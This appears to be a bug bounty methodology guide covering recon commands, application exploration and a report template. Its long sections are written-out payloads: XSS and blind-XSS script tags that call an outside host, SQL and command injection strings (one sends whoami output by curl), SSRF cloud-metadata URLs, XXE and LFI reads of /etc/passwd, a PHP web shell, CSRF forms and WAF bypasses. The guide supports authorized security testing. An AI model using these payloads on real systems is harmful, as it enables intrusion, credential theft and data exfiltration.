HOPE

For each target, I create tasks for myself.

Task 1: Understanding the Application as a Normal User

This is the most important step. I spend 3 to 4 days testing every feature and understanding how it works.

The best tool at this stage is the documentation of the program — it helps me understand how the application functions.

Sometimes I find bugs just by going deep into the documentation — it is one of my favorite tools! But I'm not here just to use the application. Let's move to the next step.

Task 2: Detecting “NOS” Moments (Denial Points)

Examples:

• • You cannot do this on the free plan.
• • You cannot perform this action as a normal user.
• • You cannot create more than one project.

For me, every restriction = a potential bug if it can be bypassed (NOS).

How to bypass NOS systems?

It depends on your knowledge. When you see a restriction (NOS), you start thinking of different ways to bypass it.

If you have strong API knowledge, understand logic flaws, and have read many articles, you will be able to generate bypass scenarios in your mind.

Sometimes I read articles where someone tests something very similar to my target. If they explain why they couldn't bypass it, I start thinking: how can I make it work on my target?

Things I Write in My Notes

1. Write tips for your favorite targets

Whenever I read an article or see techniques about bypassing something, I write it down.

If the target structure is similar to something I studied before, even if the API calls are different, I still document it because reading reports is a great source of knowledge.

2. Track progress and tasks

Understanding requests and logic. For example, if you see user levels like:

Admin = level 1
Moderator = level 2

Think:

• • Can a normal user become an admin?
• • Is this enforced in the backend API or only in the UI?
• • If I modify a request, can I bypass something?
• • Can I unlock admin features as a normal user?

3. Write what you do daily

Keep a daily log of your progress.

Day 1: 2024-12-13

Started testing the comments section
Found an interesting parameter called to_reply

You can also record a short video instead of writing everything.

4. Save what you learn

When you read a book, PDF, or article, save important information in one place. Use tools like GPT to summarise it into something easier to read later.

You should prioritise learning. Trust me, money is just a result of good work. Keep this mindset:

Balance these two and you will see results.

These rules should be tattooed on your brain before you open a single browser tab.

There is no single best platform. Pick the one that fits your current level and goals.

Intigriti

HackerOne

Bugcrowd

Finding Programs Outside Platforms

site:target.com "responsible disclosure"
site:target.com "bug bounty"
site:target.com "security.txt"
/.well-known/security.txt

Full dork collection: bug-bounty-dorks

“Picking a program is like picking a shoe — make sure it fits.”

What to look for

• • Applications where you can register accounts freely
• • Multi-user, multi-role applications
• • Import/export features, API integrations
• • Swagger/OpenAPI docs or public developer API
• • Free tier + paid tier (scope differences = BAC bugs)

VDP vs Paid

Start VDP, earn private invites, then get paid. The money follows the process.

Scope Advice

Avoid programs with *.target.com as your first target. A wide wildcard scope sounds exciting but costs you weeks in recon before you even test. Start on main apps (app.target.com or target.com), refine your technique, then scale your recon.

Recon is the foundation. But remember: recon is not hacking. Its only job is to find the surface you will attack.

Subdomain Enumeration

# Passive
subfinder -d target.com -o subdomains.txt
assetfinder --subs-only target.com >> subdomains.txt
amass enum -passive -d target.com >> subdomains.txt

# Certificate transparency
# https://crt.sh/?q=%25.target.com

# Deduplicate
sort -u subdomains.txt -o subdomains.txt

Check Which Subdomains Are Alive

cat subdomains.txt | httprobe | tee alive.txt

Visual Recon (Flyover)

eyewitness --web -f alive.txt --timeout 30
cat alive.txt | aquatone

Port Scanning

naabu -iL alive.txt -p - -o open-ports.txt
nmap -sV -sC -p <ports> <target>

Directory & Content Discovery

gobuster dir -u https://target.com -w /path/to/wordlist -x php,html,js,json,bak,old,zip
ffuf -u https://target.com/FUZZ -w /path/to/wordlist -mc 200,301,302,403

JavaScript Analysis

python3 linkfinder.py -i https://target.com -d -o cli
gau target.com | tee gau-urls.txt
waybackurls target.com | tee wayback-urls.txt

Look for: hardcoded API keys, internal endpoint paths, commented-out code, old endpoint references.

Google & GitHub Dorking

# Google
site:target.com filetype:js
site:target.com inurl:api
site:target.com "internal use only"
site:target.com ext:json | ext:xml | ext:yaml

# GitHub
org:targetname password
org:targetname secret
org:targetname api_key
org:targetname "Authorization:"

Reference: GitHub Recon — It's Really Deep

Shodan & Passive Sources

hostname:target.com
org:"Target Company Name"
ssl:"target.com"

Automated Vulnerability Scanning

nuclei -l alive.txt -t nuclei-templates/ -o nuclei-output.txt
nikto -h https://target.com

This phase is non-negotiable. No tool replaces understanding the application.

Setup

1. Open Burp Suite with scope set to the target
2. Proxy all traffic through Burp
3. Create test accounts for every available role
4. Consider buying the paid tier if available

The Poisoned Registration Trick

Inject both XSS and SSTI payloads from the start into every field:

<img src=x onerror=alert(document.domain)>${{7*7}}{{7*7}}

Insert this into every field: username, first name, last name, address, bio, preferences. This payload travels through the application and may fire in an admin panel, a report PDF, an email template, or a backend system days later.

Exploration Checklist

• Use the application as a normal user for each role — trigger every feature
• Read the product documentation or knowledge base in full
• Read the API documentation / Swagger UI if available (site:target.com swagger, site:target.com api/docs)
• Note every privilege level and what each can do
• Note every integration point: import, export, webhooks, third-party logins, payment flows, email triggers
• Note every place that accepts file uploads
• Note every place that renders user-supplied content
• Note every URL parameter that appears to interact with the backend
• Create a mindmap — XMind or any tool you prefer

Parameters Worth Flagging

Filter to Parameterised Requests

In the Burp Site Map, open the filter and enable “Show only parameterised requests”. This cuts the noise and surfaces the endpoints worth testing.

Repeater Strategy

1. Send request to Repeater
2. Understand what the endpoint does by reading the response carefully
3. Tamper one parameter at a time — change values, remove them, duplicate them, send unexpected types (string where int is expected, negative numbers, huge numbers)
4. Look for different responses — an error, a changed status code, a timing difference

Intruder / ffuf Strategy

Use Intruder (or ffuf for speed) to brute-force IDs (sequential integers, UUIDs, hashes), fuzz parameter values with injection payloads, and test for rate-limiting weaknesses.

Inferring New Endpoints

If you see /api/v2/getInvoices, the older /api/v1/getInvoices very likely still exists — and is probably less secure.

• • Version downgrades: v2 \u2192 v1, v3 \u2192 v2
• • Alternate paths: /api/admin/, /internal/, /private/
• • HTTP method tampering: try POST, PUT, DELETE, PATCH

Hidden Parameters

When saving settings or profile data, intercept the request and look for parameters the UI does not expose.

role=admin
isAdmin=true
status=active
plan=enterprise

Mass-assignment vulnerabilities are frequently found this way.

XSS (Cross-Site Scripting)

Initial probe — insert everywhere

<img src=x onerror=alert(document.domain)>
<svg onload=alert(1)>
"><script>alert(1)</script>
{{7*7}}

Stored XSS

Test every input displayed to other users: profile fields, comments, messages, product names, filenames, notes. Start minimal: <a href="#">test</a> — if the tag renders, escalate. Target admin-facing fields (support ticket subjects, user display names) for higher severity.

Reflected XSS

Test every URL parameter and search query. Check error pages (404, 403, 500) — many reflect the URL path. Check the Referer header — some apps reflect it in error messages.

DOM XSS

Check for dangerous JavaScript sinks: document.write(), innerHTML, eval(), setTimeout(), location.href — where any of these consume user-controlled input. DOM XSS never reaches the server, so scanning won't find it.

Blind XSS

Use XSS Hunter — you get a callback with a screenshot when your payload fires in an admin panel or backend. Inject into every field from day one.

"><script src=https://yourxsshunter.xss.ht></script>
'"><script src=https://yourxsshunter.xss.ht></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourxsshunter.xss.ht\';document.body.appendChild(a)')

XSS Filter Evasion

<ScRiPt>alert(1)</ScRiPt>                          # Case variation
<scr<script>ipt>alert(1)</scr</script>ipt>              # Breaking up keywords
<body onresize=alert(1)>                               # Event handler alt
<input autofocus onfocus=alert(1)>
<svg><animate onbegin=alert(1)>
" onmouseover="alert(1)                                 # Attribute breakout
' autofocus onfocus='alert(1)
'; alert(1)//                                          # JS string context
%3Cscript%3Ealert(1)%3C%2Fscript%3E                   # URL encoding
&lt;script&gt;alert(1)&lt;/script&gt;                     # HTML entities
j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:alert(1)       # Newlines in JS URI

SSTI (Server-Side Template Injection)

{{7*7}}          → 49 = Jinja2, Twig
${7*7}           → 49 = Freemarker, Velocity
<%= 7*7 %>       → 49 = ERB (Ruby)
#{7*7}           → 49 = Ruby (non-ERB)
*{7*7}           → 49 = Spring (Java)
}}{{7*7}}        → Breakout then inject

Insert into every available field at account creation and throughout testing. If confirmed, use tplmap for automated exploitation. SSTI can lead to RCE — escalate carefully.

SQL Injection

Inject into every parameter that touches the database: GET/POST body, cookies, HTTP headers (User-Agent, X-Forwarded-For, Referer). Start with \' and observe: error? different response? timing change?

'
''
' OR '1'='1
' OR 1=1--
' AND SLEEP(5)--
1; SELECT SLEEP(5)--
{"$gt":""}        (NoSQL — MongoDB)

Time-Based Blind

' AND SLEEP(5)--
'; WAITFOR DELAY '0:0:5'--   (MSSQL)
' AND BENCHMARK(5000000,MD5(1))--

sqlmap -u "https://target.com/page?id=1" --level=5 --risk=3 --batch
sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --batch

Also test for second-order SQLi: data stored harmlessly now may be used in a later query without sanitisation.

IDOR / Broken Access Control

Setup: Create User A and User B (same role) for horizontal IDOR. Admin + Standard user for vertical BAC. Two organisations/tenants for tenant isolation testing.

1. Perform action as User A, capture request
2. Switch session cookie to User B in Repeater
3. Replace object identifiers with User A's resources
4. Observe if User B can access/modify

GUID IDOR amplification: if a GUID is used, find an endpoint that leaks or lists those GUIDs. That leak + the IDOR forms a complete exploit chain and significantly improves severity.

CSRF

Focus only on authenticated, state-changing actions. Test: missing token, wrong token, removed token entirely, SameSite cookie attribute.

<html>
  <body>
    <form action="https://target.com/settings/email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
      <input type="submit" value="Click me" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

Chain idea: CSRF \u2192 email change \u2192 password reset link sent to attacker = full account takeover.

SSRF

Parameters: url=, src=, dest=, feed=, webhook=, callback=, load=, proxy=. Use Collaborator/interactsh to detect blind SSRF first.

http://127.0.0.1/
http://169.254.169.254/latest/meta-data/                    (AWS)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/         (GCP)
http://169.254.169.254/metadata/instance?api-version=2021-02-01  (Azure)

Filter Bypass

http://[::1]/                    IPv6 localhost
http://2130706433/               Decimal IP for 127.0.0.1
http://0x7f000001/               Hex IP
http://127.1/                    Short form
http://127.0.0.1#@evil.com       Hash trick
http://target.com@127.0.0.1      @ notation

XXE

Test everywhere XML is consumed — including document uploads.

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

SVG Upload XXE

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

Blind XXE (Out-of-Band)

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % xxe SYSTEM "http://your-collaborator.com/malicious.dtd">
  %xxe;
]>
<root/>

LFI / RFI

Parameters: file=, page=, template=, path=, include=, module=

# Linux
../../../../etc/passwd
../../../../etc/shadow
../../../../proc/self/environ
../../../../var/log/apache2/access.log

# Windows
..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts

# PHP wrappers
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
php://input

# Null byte (old PHP)
../../../../etc/passwd%00

File Upload

Extension bypass order of operations:

1. Upload .php — blocked? Try .php5, .phtml, .phar, .shtml
2. Change Content-Type to image/jpeg while keeping dangerous extension
3. Double extension: shell.php.jpg, shell.jpg.php
4. Null byte: shell.php%00.jpg
5. Upload SVG with XSS or XXE payload
6. Upload DOCX/XLSX with XXE payload

<?php system($_GET['cmd']); ?>

Command Injection

Target: hostname, IP, domain, filename, shell options, email address parameters.

; id
| id
|| id
&& id
`id`
$(id)
%0Aid
; sleep 5          (blind timing)
; curl https://your-collaborator.com/$(whoami)  (blind OOB)

Windows Variants

& whoami
| whoami
&& whoami
; whoami
%26 whoami

Open Redirects

Parameters: redirect=, url=, next=, returnTo=, goto=, destination=

redirect=https://evil.com
redirect=//evil.com
redirect=javascript:alert(1)
https://target.com@evil.com
https://target.com.evil.com
https://evil.com%23target.com
//evil.com/%2F..

Open redirects are low severity alone. Demonstrate a realistic chain (OAuth code theft, phishing) to elevate severity.

Authentication & Session

Username Enumeration

Compare responses for valid vs. invalid usernames (timing, message, status code). Test registration: “email already in use” confirms account existence.

Password Reset

• Add a second email parameter: email=victim@target.com&email=attacker@evil.com
• Check if reset tokens appear in URL (they leak via Referer headers)
• Test token reuse and weak/predictable tokens

JWT Testing

# alg:none attack — remove signature entirely
# Algorithm confusion — RS256 key used as HS256 secret
# Weak secret bruteforce
hashcat -a 0 -m 16500 <jwt> /usr/share/wordlists/rockyou.txt

Session Management

• Does the session token change after login? (session fixation if not)
• Does logout invalidate the token server-side?
• Does the token remain valid after password change?

Cookie Flags

Business Logic

This is where the unloved bugs live and duplicate rates are lowest.

• • Race conditions: two requests for same limited resource simultaneously — coupon codes, referral bonuses, stock purchase
• • Negative values: enter -1 quantity in cart, transfer -100
• • Workflow bypass: skip required steps (skip payment, skip verification)
• • State manipulation: send request valid in state A while in state B
• • Limit bypass: send 6 items when limit is 5 by replaying or modifying a request
• • Privilege gates: does the price come from the client? Does the role come from the client?

Modern Attack Surface (2026)

GraphQL

{"query": "{__schema{types{name}}}"}
python3 graphql-map.py --url https://target.com/graphql

• • IDOR via object IDs in query args
• • Missing auth checks on mutations
• • Batching attacks (rate limit bypass via many queries in one request)
• • Introspection in production (information disclosure)

WebSockets

• Intercept WebSocket messages in Burp
• Test message tampering — is server-side validation as strict as HTTP?
• Test cross-site WebSocket hijacking (CSWSH)

OAuth 2.0 / OIDC

• Test for state parameter absence or reuse \u2192 CSRF on OAuth flow
• Test redirect_uri validation
• Test code reuse and PKCE implementation

API Keys & JWT in JS Files

trufflehog filesystem /path/to/js/files
grep -rE "(api_key|apikey|secret|token|password|Authorization)" *.js

Prototype Pollution

?__proto__[admin]=true
?constructor[prototype][admin]=true

Cache Poisoning

Test unkeyed headers: X-Forwarded-Host, X-Forwarded-Port, X-Host. If reflected or influence caching, you may poison the cache for all users.

Subdomain Takeover

subzy run --targets subdomains.txt
nuclei -l subdomains.txt -t nuclei-templates/dns/

# Base64 data URI
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# Space substitution
<Img/src=x/onerror=alert(1)>
<svg%09onload=alert(1)>   (%09 = tab)

# Comment injection (SQL)
SE/**/LECT
UN/**/ION

# Case variation
SeLeCt 1,2,3

# URL encoding (single and double)
%3Cscript%3E
%253Cscript%253E

# Newlines in JS URI
j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:alert(1)

# Wildcard in file paths
/etc/pa*wd
cat\${IFS}/etc/passwd

# Custom HTML tags
<CUSTOM id=x onfocus=alert(1) tabindex=1>#x

# Barracuda specific
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

Full WAF bypass collection: Awesome-WAF

Solo low-severity bugs become high-severity chains. Always ask: can I combine this with something else?

XSS \u2192 CSRF Bypass Code Example

fetch('/settings').then(r => r.text()).then(html => {
  const token = html.match(/csrf_token" value="([^"]+)"/)[1];
  fetch('/settings/email', {
    method: 'POST',
    body: `email=attacker@evil.com&csrf_token=${token}`
  });
});

A great bug reported badly gets marked as informational. A clear, well-structured report earns you the payout and the reputation.

Title: [Severity] Short, specific description
e.g. [High] Stored XSS in user display name allows session cookie theft

Severity: Critical / High / Medium / Low / Informational
CVSS: (if the program uses it)

Summary:
A 2-3 sentence description of the vulnerability, affected component, and impact.

Steps to Reproduce:
1. Log in as User A
2. Navigate to Settings → Profile
3. Set display name to: <img src=x onerror=alert(document.domain)>
4. Save
5. Log in as User B, navigate to admin user list
6. The payload fires in the admin context — XSS executes as admin

Impact:
Explain what an attacker can concretely achieve. Reference data, accounts, or systems at risk. Mention GDPR implications if PII is accessible (EU programs).

PoC:
Screenshot or screen recording confirming the finding.

Remediation (optional but welcomed):
Short suggestion: encode user-supplied data before rendering in HTML.

Severity Calibration Tips

• • No impact = no finding. If you can't articulate what an attacker gains, do more work before submitting.
• • Escalate with chains. Open redirect is low. + OAuth code theft is high.
• • GDPR is a severity multiplier on EU targets. Accessing PII is a violation beyond the technical bug.
• • Admin-only XSS is still valid — demonstrate what an attacker can do once they have admin XSS.
• • Self-XSS is out of scope unless you show a realistic delivery vector.

Proxy & Interception

Recon

Fuzzing & Scanning

Reporting & Tracking

Custom Scripts (this workspace)

Wordlists

• • SecLists — install separately: git clone https://github.com/danielmiessler/SecLists
• • dir23.txt — directory brute-forcing
• • dirlist.txt — directory brute-forcing

Quick Reference Card